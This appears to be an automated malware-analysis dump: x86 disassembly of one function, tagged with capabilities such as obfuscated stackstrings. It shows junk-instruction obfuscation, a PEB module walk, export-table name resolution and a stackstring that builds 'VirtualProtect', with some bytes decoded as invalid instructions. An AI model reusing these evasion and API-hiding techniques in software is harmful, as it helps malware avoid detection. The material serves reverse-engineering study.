Function at 0x408a0b
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
inc dword [eax]
jne 0x4086b5
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x250], eax
jmp 0x40894c
mov ecx, dword [ebp - 0x1b8]
add ecx, dword [ebp - 0xb8c]
dec dword [ecx - 0x3df73]
push dword [ebp + 0x11]
mov edx, dword [ebp - 0x3ec]
mov dword [ebp - 0x250], edx
xchg ebp, eax
mov al, 0xfd
invalid
invalid
jmp 0x40894c
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0x1b8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0xe58], ecx
mov edx, dword [ebp - 0x3e0]
xchg ebp, eax
and ah, bh
invalid
dec dword [ebx - 0x1b77b]
inc dword [ebx]
inc edx
and al, 0x89
test dword [ecx + esi*8 - 0x72740001], esp
and ah, bh
invalid
dec dword [ebx - 0x1b76b]
inc dword [ebx]
push ecx
sbb al, 0x89
xchg ebp, eax
mov al, byte [0xc7fffff1]
test dword [esp + edi*8], ebx
invalid
inc dword [eax]
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x3e4]
add eax, 1
mov dword [ebp - 0x3e4], eax
mov ecx, dword [ebp - 0x3e0]
mov edx, dword [ebp - 0x3e4]
cmp edx, dword [ecx + 0x18]
jae 0x408940
mov eax, dword [ebp - 0x3e4]
mov ecx, dword [ebp - 0xe58]
mov edx, dword [ebp - 0x1b8]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x3e8], edx
mov eax, dword [ebp - 0x3e4]
mov ecx, dword [ebp - 0xe5c]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0x1b8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0xe64], ecx
mov dword [ebp - 0xc8], 0
jmp 0x4087a4
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x3e8]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x408856
mov edx, dword [ebp - 0xc8]
movsx eax, byte [ebp + edx - 0x494]
test eax, eax
je 0x408856
push ecx
sub ecx, 0x6d48
xor ecx, 0x12c33
add ecx, 0x698c
pop ecx
push ecx
push eax
add esp, 4
sub ecx, 0x7b88
xor ecx, 0xfaef
xor ecx, 0x150e8
add ecx, 0xcab0
pop ecx
mov ecx, dword [ebp - 0x3e8]
add ecx, dword [ebp - 0xc8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc8]
movsx ecx, byte [ebp + eax - 0x494]
cmp edx, ecx
je 0x408848
mov edx, dword [ebp - 0x3e8]
add edx, dword [ebp - 0xc8]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0xc8]
movsx edx, byte [ebp + ecx - 0x494]
cmp eax, edx
jne 0x40884f
jmp 0x408795
jmp 0x408856
push edi
push ecx
add esp, 4
xor edi, 0x118d0
xor edi, 0x16061
xor edi, 0xebb5
pop edi
push eax
or eax, 0x14c96
add eax, 0x12136
or eax, 0x6d28
or eax, 0x1d4
pop eax
mov eax, dword [ebp - 0x3e8]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xc8]
movsx eax, byte [ebp + edx - 0x494]
cmp ecx, eax
jne 0x4088b5
mov dword [ebp - 0x6d0], 0
jmp 0x408924
push edi
push eax
add esp, 4
or edi, 0x1349a
sub edi, 0xc36a
pop edi
push edx
sub edx, 0x332b
xor edx, 0x3c03
add edx, 0x169fb
pop edx
push ecx
push edi
add esp, 4
and ecx, 0x140e2
pop ecx
mov ecx, dword [ebp - 0x3e8]
add ecx, dword [ebp - 0xc8]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0xc8]
movsx ecx, byte [ebp + eax - 0x494]
or ecx, 0x20
cmp edx, ecx
jge 0x40891a
mov dword [ebp - 0x6d0], 0xffffffff
jmp 0x408924
mov dword [ebp - 0x6d0], 1
cmp dword [ebp - 0x6d0], 0
jne 0x40893b
mov edx, dword [ebp - 0xe64]
mov dword [ebp - 0x250], edx
jmp 0x40894c
jmp 0x408725
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x250], eax
mov ecx, dword [ebp - 0x250]
mov dword [ebp - 0x418], ecx
push ebx
push edi
add esp, 4
add ebx, 0xe90a
or ebx, 0x1520f
xor ebx, 0x11251
xor ebx, 0x809e
pop ebx
push eax
or eax, 0x15c68
pop eax
push ecx
push ecx
add esp, 4
xor ecx, 0x15f16
pop ecx
mov edx, dword [ebp - 0x228]
add edx, 0xe
mov dword [ebp - 0xeb0], edx
push esi
sub esi, 0xe9e3
and esi, 0x6223
and esi, 0x17843
pop esi
push esi
push esi
add esp, 4
xor esi, 0x16250
pop esi
push ebx
push eax
add esp, 4
or ebx, 0x14a81
add ebx, 0x49e3
pop ebx
cmp dword [ebp - 0x228], 0
je 0x4089dd
cmp dword [ebp - 0x614], 0
jne 0x408a23
push esi
and esi, 0xc1
jmp 0x4089e9
pop esi
push eax
push edi
add esp, 4
sub eax, 0x1650c
sub eax, 0x145d1
call 0x408a0b
add byte [esi], dh
dec esp
inc esp
cmp ecx, dword [edi + 0x33]
inc ebx
dec eax
inc esi
add esp, 4
pop eax
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x1068], eax
push 0
call dword [ebp - 0x1068]
mov dword [ebp - 0x1230], 0xa
push ecx
push edi
add esp, 4
xor ecx, 0x12ab3
pop ecx
push eax
push edi
add esp, 4
sub eax, 0x167ba
jmp 0x408a4b
pop eax
push ebx
jmp 0x408a52
xor ebx, 0x4613
sub ebx, 0x1e7d
pop ebx
mov ecx, dword [ebp - 0x228]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x1fd], dl
mov eax, dword [ebp - 0x614]
sub eax, dword [ebp - 0x228]
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0x700], 0
push eax
xor eax, 0xfab8
pop eax
push ebx
and ebx, 0x4f94
xor ebx, 0xf4fc
jmp 0x408aa4
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0xe5fc
add ebx, 0x14422
jmp 0x408abb
pop ebx
mov byte [ebp - 0x598], 0x56
mov byte [ebp - 0x597], 0x69
mov byte [ebp - 0x596], 0x72
mov byte [ebp - 0x595], 0x74
mov byte [ebp - 0x594], 0x75
mov byte [ebp - 0x593], 0x61
mov byte [ebp - 0x592], 0x6c
mov byte [ebp - 0x591], 0x50
mov byte [ebp - 0x590], 0x72
mov byte [ebp - 0x58f], 0x6f
mov byte [ebp - 0x58e], 0x74
mov byte [ebp - 0x58d], 0x65
mov byte [ebp - 0x58c], 0x63
mov byte [ebp - 0x58b], 0x74
mov byte [ebp - 0x58a], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0xe68], ecx
mov edx, dword [ebp - 0xe68]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe6c], eax
mov ecx, dword [ebp - 0xe6c]
mov dword [ebp - 0xb90], ecx
push esi
push ecx
add esp, 4
xor esi, 0xdab6
or esi, 0xb4ac
xor esi, 0x9b6e
pop esi
push esi
xor esi, 0x15ac2
and esi, 0x13310
xor esi, 0xa2f9
sub esi, 0x5ed6
pop esi
cmp dword [ebp - 0xb90], 0
jne 0x408b97
mov dword [ebp - 0x18c], 0
jmp 0x408e3e
mov edx, dword [ebp - 0xb90]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x6dc], ecx
push edx
push eax
add esp, 4
xor edx, 0xf38
pop edx
push ecx
or ecx, 0x13deb
call 0x408bc9
add byte [edx], dh
cmp dword [edx + ecx*2 + 0x3c], ecx
cmp dh, byte [edi]
add esp, 4
or ecx, 0x516e
pop ecx
push ecx
or ecx, 0x1453e
pop ecx
cmp dword [ebp - 0x6dc], 0
jne 0x408bf3
mov dword [ebp - 0x18c], 0
jmp 0x408e3e
mov edx, dword [ebp - 0x6dc]
mov dword [ebp - 0x24c], edx
push ebx
push esi
add esp, 4
sub ebx, 0x2586
sub ebx, 0x59e9
pop ebx
push eax
push ebx
add esp, 4
xor eax, 0x10543
xor eax, 0xc3de
pop eax
push ebx
add ebx, 0x20bd
sub ebx, 0x13bfe
pop ebx
lea eax, [ebp - 0xc50]
mov dword [ebp - 0x6d8], eax
mov ecx, dword [ebp - 0x24c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x6d4], edx
xor eax, eax
mov word [ebp - 0x120], ax
xor ecx, ecx
mov word [ebp - 0x34], cx
push edx
push ebx
add esp, 4
jmp 0x408c68
and edx, 0x14ec8
add edx, 0x10ce8
jmp 0x408c7b
pop edx
push eax
xor eax, 0x1844e
jmp 0x408c8c
pop eax
mov edx, dword [ebp - 0x6d4]
mov ax, word [edx]
mov word [ebp - 0x88e], ax
mov ecx, dword [ebp - 0x6d4]
add ecx, 2
mov dword [ebp - 0x6d4], ecx
mov dx, word [ebp - 0x88e]
mov word [ebp - 0x120], dx
mov eax, dword [ebp - 0x6d8]
mov cx, word [eax]
mov word [ebp - 0x890], cx
mov edx, dword [ebp - 0x6d8]
add edx, 2
mov dword [ebp - 0x6d8], edx
mov ax, word [ebp - 0x890]
mov word [ebp - 0x34], ax
push ebx
push eax
add esp, 4
and ebx, 0x4151
xor ebx, 0x9adb
add ebx, 0xeac8
or ebx, 0x17f11
pop ebx
push ecx
jmp 0x408d09
sub ecx, 0x43c5
or ecx, 0x12556
pop ecx
movzx ecx, word [ebp - 0x34]
test ecx, ecx
jne 0x408d33
movzx edx, word [ebp - 0x120]
movzx eax, word [ebp - 0x34]
sub edx, eax
mov dword [ebp - 0xb98], edx
jmp 0x408d8d
movzx ecx, word [ebp - 0x120]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
je 0x408c5b
movzx eax, word [ebp - 0x120]
xor eax, 0x20
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x408c5b
movzx edx, word [ebp - 0x120]
movzx eax, word [ebp - 0x34]
cmp edx, eax
jge 0x408d77
mov dword [ebp - 0xb94], 0xffffffff
jmp 0x408d81
mov dword [ebp - 0xb94], 1
mov ecx, dword [ebp - 0xb94]
mov dword [ebp - 0xb98], ecx
cmp dword [ebp - 0xb98], 0
jne 0x408dd6
push edx
push edi
add esp, 4
add edx, 0x16049
pop edx
push edx
push esi
add esp, 4
and edx, 0x12177
pop edx
push ebx
call 0x408dbe
add byte [edx + 0x3c], cl
inc edx
inc eax
xor bh, byte [ebx]
cmp byte [edx + 0x4c], al
add esp, 4
sub ebx, 0xab58
pop ebx
mov edx, dword [ebp - 0x24c]
mov dword [ebp - 0x18c], edx
jmp 0x408e3e
push ecx
add ecx, 0x9c27
pop ecx
push eax
add eax, 0xb975
pop eax
push eax
xor eax, 0x827e
pop eax
push eax
and eax, 0x170d7
pop eax
push esi
push eax
add esp, 4
sub esi, 0x17a94
or esi, 0x5e91
pop esi
mov eax, dword [ebp - 0x24c]
mov ecx, dword [eax]
mov dword [ebp - 0x24c], ecx
mov edx, dword [ebp - 0x24c]
cmp edx, dword [ebp - 0x6dc]
je 0x408e34
mov eax, dword [ebp - 0x24c]
cmp dword [eax + 0x30], 0
jne 0x408bff
mov dword [ebp - 0x18c], 0
push edi
push ebx
add esp, 4
and edi, 0x112c4
or edi, 0x10ff1
or edi, 0x16215
pop edi
push ecx
xor ecx, 0x15d70
pop ecx
push ebx
push edi